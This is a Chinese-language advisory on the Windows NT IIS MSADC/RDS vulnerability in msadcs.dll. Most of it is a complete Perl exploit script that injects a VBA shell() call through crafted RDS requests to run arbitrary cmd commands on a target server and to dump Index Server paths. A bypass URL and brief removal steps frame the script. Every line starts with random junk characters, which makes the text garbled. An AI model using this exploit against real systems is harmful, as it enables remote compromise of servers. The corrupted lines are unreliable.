IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^\Q%VTM 7VWy1 涉及程序:
T=@Ygjk Microsoft NT server
'*
/$66| y7GgTC/H 描述:
B?y[ %i 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
'T3xZ?*q= eV}H 详细:
z^WY5~? 如果你没有时间读详细内容的话,就删除:
_#{qDG= c:\Program Files\Common Files\System\Msadc\msadcs.dll
XdOntP *a 有关的安全问题就没有了。
?I"?J/zm Mm9*$g!R 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
UdA,.C0 v$g\]QS
p 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
)@y7 qb 关于利用ODBC远程漏洞的描述,请参看:
aVr =7PeF BqA_CW http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm FT-=^VA\ =En1?3? 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
_9Rj, http://www.microsoft.com/security/bulletins/MS99-025faq.asp R\/tKZJjb 1rLxF{, 这里不再论述。
#YK3Ogb, .f>7a;V?} 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
{eQijW2Z3 lQm7`+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|+>U91! 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
?|!m J Rj{Q 1J 9jNh%raG| #将下面这段保存为txt文件,然后: "perl -x 文件名"
R|wS*xd , GJHJ?^% #!perl
f;Ijl 0d@ #
YRd`G3J # MSADC/RDS 'usage' (aka exploit) script
>RpMw!NT #
k72NXagh # by rain.forest.puppy
/V#?d #
+V[;DOlll # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
-pQ?ybQ # beta test and find errors!
-C!m#"PDW tT]mMlKJ use Socket; use Getopt::Std;
I
}8b] getopts("e:vd:h:XR", \%args);
1\)lD(J\C g@Y]$ey%A print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
kVG+Wr7l0F K*4ib/'E a if (!defined $args{h} && !defined $args{R}) {
Q:b0! print qq~
HNlW.y" Usage: msadc.pl -h <host> { -d <delay> -X -v }
2:e7'}\D. -h <host> = host you want to scan (ip or domain)
CteNJBm -d <seconds> = delay between calls, default 1 second
.0;\cv4} -X = dump Index Server path table, if available
:QXKG8^ -v = verbose
Re'3 bs:+ -e = external dictionary file for step 5
soX^$l
Q|2*V1"r<2 Or a -R will resume a command session
jJ,y+o [kqO6U ~; exit;}
<i`s)L b5f+q:?{ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Vh]=sd<F if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
mC?}:WM@ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
1|:;~9n<t if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
uX&h~qE/ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
lZ <D,& if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
pigu]mj SxcE@WM if (!defined $args{R}){ $ret = &has_msadc;
Rz6kwh=q die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
-@B6 $XWL JRAU|gr print "Please type the NT commandline you want to run (cmd /c assumed):\n"
4E1j0ARQQ . "cmd /c ";
T
eu.i $in=<STDIN>; chomp $in;
iQLP~Z>,T $command="cmd /c " . $in ;
X\*H7;k, "1%k"+& if (defined $args{R}) {&load; exit;}
mS0;2xU bBGg4{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
lEb H4 g &try_btcustmr;
$~?)E;S
6wXy;!2 print "\nStep 2: Trying to make our own DSN...";
yC4%z)t&R &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
f rV_5yK' w=0zVh_`( print "\nStep 3: Trying known DSNs...";
niYD[Ra\xP &known_dsn;
t~!ag#3['. Y|W#VyM- print "\nStep 4: Trying known .mdbs...";
Ln/*lLIOb &known_mdb;
/sPa$D ]g,j if (defined $args{e}){
w]N;HlU print "\nStep 5: Trying dictionary of DSN names...";
[=u@6Y &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
0}T56aD=! jW[EjhsH print "Sorry Charley...maybe next time?\n";
st#^pWL exit;
Xd1+?2 dwiLu& ]u ##############################################################################
+8GxX$ f}?pY"yvO sub sendraw { # ripped and modded from whisker
'] _7Xa' sleep($delay); # it's a DoS on the server! At least on mine...
t_(S e my ($pstr)=@_;
:r{W)(mm socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_eH@G(W( die("Socket problems\n");
w[)HQ1K if(connect(S,pack "SnA4x8",2,80,$target)){
BAT.> select(S); $|=1;
l}#d^S/ print $pstr; my @in=<S>;
pK/RkA1 select(STDOUT); close(S);
yWr&G@>G return @in;
r "\<+$ 7 } else { die("Can't connect...\n"); }}
fQ_tXY -Q ];o~ ##############################################################################
Vn_>c#B NvpDi&i sub make_header { # make the HTTP request
A v;NQt8ut my $msadc=<<EOT
1 7iw`@ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Y'R/|:YL@ User-Agent: ACTIVEDATA
c^5fhmlt Host: $ip
twa H20 Content-Length: $clen
!!Yf>0u#
Connection: Keep-Alive
Q2Uk0:M F>%,}Y~B: ADCClientVersion:01.06
2<V` Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
gxC`Ml .Pux F --!ADM!ROX!YOUR!WORLD!
<N=ow"rD Content-Type: application/x-varg
m}6>F0Kv Content-Length: $reqlen
"ZmxHMf `H^
H#W EOT
'}F9f? ; $msadc=~s/\n/\r\n/g;
m]{/5L return $msadc;}
@ W q8AFo UyF;sw ##############################################################################
\Z~
<jv l9H-N*Wx sub make_req { # make the RDS request
vJ&35nF& my ($switch, $p1, $p2)=@_;
hIa,PZ/Q my $req=""; my $t1, $t2, $query, $dsn;
H3Zt3l1u+ avXBCvP+h if ($switch==1){ # this is the btcustmr.mdb query
I6S>*V $query="Select * from Customers where City=" . make_shell();
Q
H>g-@ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
";n%^I} $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
QP@@h4J^ Ku3NE-) elsif ($switch==2){ # this is general make table query
*$mb~k^R $query="create table AZZ (B int, C varchar(10))";
:U @L$ $dsn="$p1";}
Jr>Nc}!U ^{E_fQJX elsif ($switch==3){ # this is general exploit table query
M?['HoRo $query="select * from AZZ where C=" . make_shell();
s(MdjWw $dsn="$p1";}
90H/Txq Lr`Gyl62 elsif ($switch==4){ # attempt to hork file info from index server
wvr`~ e $query="select path from scope()";
Cth<x n(Q $dsn="Provider=MSIDXS;";}
LXR>M>a` |m$]I4Jr elsif ($switch==5){ # bad query
PK_2 $query="select";
s:tWEgZk? $dsn="$p1";}
T%YN(f 4!?4Tc!X $t1= make_unicode($query);
B5;94YIN $t2= make_unicode($dsn);
eYv+tjIF $req = "\x02\x00\x03\x00";
Bf W@f $req.= "\x08\x00" . pack ("S1", length($t1));
ksYPF&l $req.= "\x00\x00" . $t1 ;
A=*6|1w; $req.= "\x08\x00" . pack ("S1", length($t2));
qJXfc||Zg $req.= "\x00\x00" . $t2 ;
|CBJ8],mT $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
KF`mOSP return $req;}
8yuTT^ Imo?)dYK ##############################################################################
XhOg> mt-t8~A sub make_shell { # this makes the shell() statement
=]<X6!0mR return "'|shell(\"$command\")|'";}
@DAaCF8 L|A1bxt ##############################################################################
K-@cn*6 /j\.~=,_ sub make_unicode { # quick little function to convert to unicode
` ^z
l = my ($in)=@_; my $out;
of`WP for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3BB/u%N} return $out;}
yv> 6u7 a1v?{vu\E ##############################################################################
g{m~TVm' X(C=O?A sub rdo_success { # checks for RDO return success (this is kludge)
\Fu(IuD my (@in) = @_; my $base=content_start(@in);
JS&;7Z$KX if($in[$base]=~/multipart\/mixed/){
1_G+sDw$ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
|j$$0N return 0;}
8:
VRq h>/L4j*Z ##############################################################################
,Fu[o6x<^
w4UJXc sub make_dsn { # this makes a DSN for us
!nF.whq my @drives=("c","d","e","f");
pq]>Ep print "\nMaking DSN: ";
(T.g""N~` foreach $drive (@drives) {
^3Z~RK\} print "$drive: ";
pEb/ yIT" my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
T<mP.T,$! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
*o=( w5
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
M7(]NQ\TQ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
<mQ9YO# return 0 if $2 eq "404"; # not found/doesn't exist
&tlU.Whk+ if($2 eq "200") {
tz%H1` foreach $line (@results) {
z*N%kcw" return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Z$K[e } return 0;}
X@~R< $oi8<8Y ##############################################################################
Ga;Lm?6- hOm0ND?;1 sub verify_exists {
YUlH5rO3 my ($page)=@_;
v=YI%{tx) my @results=sendraw("GET $page HTTP/1.0\n\n");
(i]0IYMXy* return $results[0];}
z+Ej`$E{lD LT/*y= ##############################################################################
2:6lr4{uY I"WmDC`1 sub try_btcustmr {
x0q`Uc my @drives=("c","d","e","f");
Ntpw(E<$f my @dirs=("winnt","winnt35","winnt351","win","windows");
sg_%=; 9]a!1 foreach $dir (@dirs) {
bX+"G}CRP print "$dir -> "; # fun status so you can see progress
er>@- F7w foreach $drive (@drives) {
v+d? #^ print "$drive: "; # ditto
5>h#
hcL $reqlen=length( make_req(1,$drive,$dir) ) - 28;
n<>]7- $reqlenlen=length( "$reqlen" );
<T$rvS $clen= 206 + $reqlenlen + $reqlen;
en16hd>^W: AD"L>7 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
&3YXDNm if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
rmhL|!
Y else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
G}'\ nD{{/_"' ##############################################################################
]Q{MF- EKj XC[bEp$ sub odbc_error {
F2$?[1^f my (@in)=@_; my $base;
y~rtYI
my $base = content_start(@in);
G 2FD'Sf if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
2L7ogyrU/A $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-qDL': $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
W_|7hwr $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
k FE<M6a9@ return $in[$base+4].$in[$base+5].$in[$base+6];}
R|!4klb print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
r} a, print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
+J:wAmY4 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
z;EDyd,O> 5f_1 dn ##############################################################################
]"U/3dL5 -VZ?
c sub verbose {
8?$XT my ($in)=@_;
Opf^#6'mq return if !$verbose;
X"v)9p print STDOUT "\n$in\n";}
Vpf7~2[q% E
<h9o>h ##############################################################################
IlMst16q5 Ny 7vId sub save {
^e1mK4` my ($p1, $p2, $p3, $p4)=@_;
#(r1b'jfP open(OUT, ">rds.save") || print "Problem saving parameters...\n";
8"J6(KS print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
v cb}Gk close OUT;}
~> 5 AF"XsEt.e ##############################################################################
W^1)70<y 8,?*eYNjb sub load {
QQX7p!~E my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{3\{aZ8) open(IN,"<rds.save") || die("Couldn't open rds.save\n");
a O(&< @p=<IN>; close(IN);
|=s jGf $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
b@)nB $target= inet_aton($ip) || die("inet_aton problems");
#e$vv!&} print "Resuming to $ip ...";
*uvE`4V^Jg $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]0myoWpi3 if($p[1]==1) {
4d
$T6b $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
@s~*>k#"# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
v^1n.l %E my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
4XArpKA if (rdo_success(@results)){print "Success!\n";}
u$y5?n| else { print "failed\n"; verbose(odbc_error(@results));}}
lgh+\pj elsif ($p[1]==3){
3b1%^@,ACy if(run_query("$p[3]")){
p|'Rm]&jb print "Success!\n";} else { print "failed\n"; }}
xU$15|ny elsif ($p[1]==4){
'=>l& ; if(run_query($drvst . "$p[3]")){
k\lU
Q\/O5 print "Success!\n"; } else { print "failed\n"; }}
=42NQ{%@; exit;}
f5hf<R),A j9$kaEf ##############################################################################
8jU6N*p/ {$)pkhJ sub create_table {
%51HJB}C] my ($in)=@_;
AR5)Uws $reqlen=length( make_req(2,$in,"") ) - 28;
N##-
vV $reqlenlen=length( "$reqlen" );
(Ei} :6,} $clen= 206 + $reqlenlen + $reqlen;
MD=!a5' my @results=sendraw(make_header() . make_req(2,$in,""));
cW\Y1=Gv| return 1 if rdo_success(@results);
&%` 0&y my $temp= odbc_error(@results); verbose($temp);
m7m)BX%O return 1 if $temp=~/Table 'AZZ' already exists/;
p"=8{LrO return 0;}
.oxeo0@~ 9l:vVp7Uk ##############################################################################
TDHS/"MbA7 $ D(q sub known_dsn {
2"L a}Vx2 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
aDjYT/`l my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
kaZ_ra;< "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
>Mk#19j[/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
qc@v"pIz'S bn0Rv foreach $dSn (@dsns) {
aq%i:}; print ".";
iGsD!2 next if (!is_access("DSN=$dSn"));
h
v/+ if(create_table("DSN=$dSn")){
|FJc'&) J" print "$dSn successful\n";
!jyy`q= if(run_query("DSN=$dSn")){
Rln@9muXA print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;v>+D
{s print "Something's borked. Use verbose next time\n";}}} print "\n";}
@!2vS@f yo"!C?82= ##############################################################################
XFWo"%}w F]`_ak E sub is_access {
Gque@u my ($in)=@_;
+{"w5o<CO $reqlen=length( make_req(5,$in,"") ) - 28;
]`_eaW?Ua $reqlenlen=length( "$reqlen" );
lyQNE3 $clen= 206 + $reqlenlen + $reqlen;
3d*wZ9qz my @results=sendraw(make_header() . make_req(5,$in,""));
:N
]H"u9X my $temp= odbc_error(@results);
E sx`UG| verbose($temp); return 1 if ($temp=~/Microsoft Access/);
$5Tjo
T return 0;}
[HSN*LXe OK=ANQjs( ##############################################################################
.vhEm6wJUM EF[I@voc sub run_query {
(pkq{: Fs my ($in)=@_;
t
gHXIr}3 $reqlen=length( make_req(3,$in,"") ) - 28;
G;v3kGn $reqlenlen=length( "$reqlen" );
#EX NS r $clen= 206 + $reqlenlen + $reqlen;
2qfKDZ9f^ my @results=sendraw(make_header() . make_req(3,$in,""));
v!%VH?cA8 return 1 if rdo_success(@results);
#kPsg9Y my $temp= odbc_error(@results); verbose($temp);
@w@ `-1 return 0;}
$z'_Hr' :,Ad1( ##############################################################################
VfJdCg_ ,3FG' q2 sub known_mdb {
5r(Y,m"? my @drives=("c","d","e","f","g");
&L4>w.b"N my @dirs=("winnt","winnt35","winnt351","win","windows");
@rt}z+JF my $dir, $drive, $mdb;
[p&2k&.XYe my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
PBp+(o- _cD-E.E% # this is sparse, because I don't know of many
#i}:CI>2 my @sysmdbs=( "\\catroot\\icatalog.mdb",
OA{PKC "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
*4RL "\\system32\\certmdb.mdb",
^fxS=Qs+ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
X(fT[A_2C _"'0^F$I my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
C &-]RffA "\\cfusion\\cfapps\\forums\\forums_.mdb",
Cy'! > "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
G.sf>.[ "\\cfusion\\cfapps\\security\\realm_.mdb",
RL~]mI!U "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6SN$El 0|G "\\cfusion\\database\\cfexamples.mdb",
x] j&Knli "\\cfusion\\database\\cfsnippets.mdb",
&xMQ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
o
C#W "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
_Q6` Wp6m "\\cfusion\\brighttiger\\database\\cleam.mdb",
b<"LUM*; "\\cfusion\\database\\smpolicy.mdb",
Jqgo\r%` "\\cfusion\\database\cypress.mdb",
5R/k8UZ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
(G`O[JF "\\website\\cgi-win\\dbsample.mdb",
wQw
y+S "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
6V6,m4e "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
|g8Q.*"l[ ); #these are just
zv HeoM, foreach $drive (@drives) {
/[#5<; foreach $dir (@dirs){
D./3,z
foreach $mdb (@sysmdbs) {
2&d|L|-> print ".";
j<C p&}X if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Sx}61 ? print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
40R7@Vaf if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
FG6mh,C! print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ipn0WQG } else { print "Something's borked. Use verbose next time\n"; }}}}}
#x[3@zP. h$rk]UM/Q foreach $drive (@drives) {
w@&(=C foreach $mdb (@mdbs) {
mZ}C)&,m2 print ".";
[V _\SQV0 if(create_table($drv . $drive . $dir . $mdb)){
+DA,|~k_ print "\n" . $drive . $dir . $mdb . " successful\n";
sRDxa5<MD if(run_query($drv . $drive . $dir . $mdb)){
4&+lc* print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`/L D:R } else { print "Something's borked. Use verbose next time\n"; }}}}
#5}v? }
/E<:=DD< _"c:Z !L ##############################################################################
".Sa[A;~ 1]]#HTwX sub hork_idx {
9,G94.da print "\nAttempting to dump Index Server tables...\n";
h;S? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Kuy0Ci $reqlen=length( make_req(4,"","") ) - 28;
P*.0kR1n $reqlenlen=length( "$reqlen" );
19 <Lgr $clen= 206 + $reqlenlen + $reqlen;
+N:=|u.g my @results=sendraw2(make_header() . make_req(4,"",""));
eL{6;.C if (rdo_success(@results)){
5;Q9Z1
` my $max=@results; my $c; my %d;
Tg\wBhJr| for($c=19; $c<$max; $c++){
%:/?eZ $results[$c]=~s/\x00//g;
1@{qPmf^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
J!@`tR- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
:zLeS- $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
W:* {7qJ $d{"$1$2"}="";}
66%4p%#b4 foreach $c (keys %d){ print "$c\n"; }
ry!0~ir } else {print "Index server doesn't seem to be installed.\n"; }}
zaMKwv}BR {axMS yp; ##############################################################################
yy#4DYht APM!xX=N sub dsn_dict {
't<hhjPqY open(IN, "<$args{e}") || die("Can't open external dictionary\n");
#AUV&pI[ while(<IN>){
CwQRHi $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
_8'z"wF next if (!is_access("DSN=$dSn"));
ZAa:f:[#f if(create_table("DSN=$dSn")){
KW-g $Ma print "$dSn successful\n";
pCt0[R;? if(run_query("DSN=$dSn")){
Z2^B.r# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
`=JGlN7 print "Something's borked. Use verbose next time\n";}}}
v JPX`T| print "\n"; close(IN);}
x>m=n_ Xw |6
#^ ##############################################################################
r"\g6<RP *e}1KcJ sub sendraw2 { # ripped and modded from whisker
n06Jg+ sleep($delay); # it's a DoS on the server! At least on mine...
AxZaV;%* my ($pstr)=@_;
d
gRTV<vM socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
o=ULo &9 die("Socket problems\n");
I!;vy/r if(connect(S,pack "SnA4x8",2,80,$target)){
YqNI:znm- print "Connected. Getting data";
5BsfbLKC open(OUT,">raw.out"); my @in;
j^qI~|# select(S); $|=1; print $pstr;
".:]?Lvt while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
URb close(OUT); select(STDOUT); close(S); return @in;
)W.Y{\D0 } else { die("Can't connect...\n"); }}
Xl\yOMfp bc(b1u? ##############################################################################
yOr5kWqX >a$b4
pvh sub content_start { # this will take in the server headers
[y(AdZ0* my (@in)=@_; my $c;
fOkB|E] for ($c=1;$c<500;$c++) {
\\i$zRi if($in[$c] =~/^\x0d\x0a/){
|VE*_ G if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
$3D#U^7i else { return $c+1; }}}
>C"QV`+ return -1;} # it should never get here actually
~zD*=h2C w;(B4^? ##############################################################################
B#Z-kFn@ /woC{J)4p sub funky {
>S=,ype~G my (@in)=@_; my $error=odbc_error(@in);
]/y69ou if($error=~/ADO could not find the specified provider/){
^#)M,.G^ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
AagWswv{Bf exit;}
T^XU5qgN if($error=~/A Handler is required/){
6kM'f}t[C print "\nServer has custom handler filters (they most likely are patched)\n";
TVEFZ\p<A exit;}
9a;8^?Ld%S if($error=~/specified Handler has denied Access/){
IQA<xqX print "\nServer has custom handler filters (they most likely are patched)\n";
Oxq} dX7S exit;}}
{_<,5)c kFsq23Ne ##############################################################################
I!uGI wc7F45l4 sub has_msadc {
^tY$pPA my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
ps=+wg?] my $base=content_start(@results);
6K
6uB
~ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
# 5C)k5 return 0;}
xPJ
kadu b1 NB: ########################
V-
HO_GDo
}j /r Q($aN- 解决方案:
2lm{: tS 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
*N|s+ 2、移除web 目录: /msadc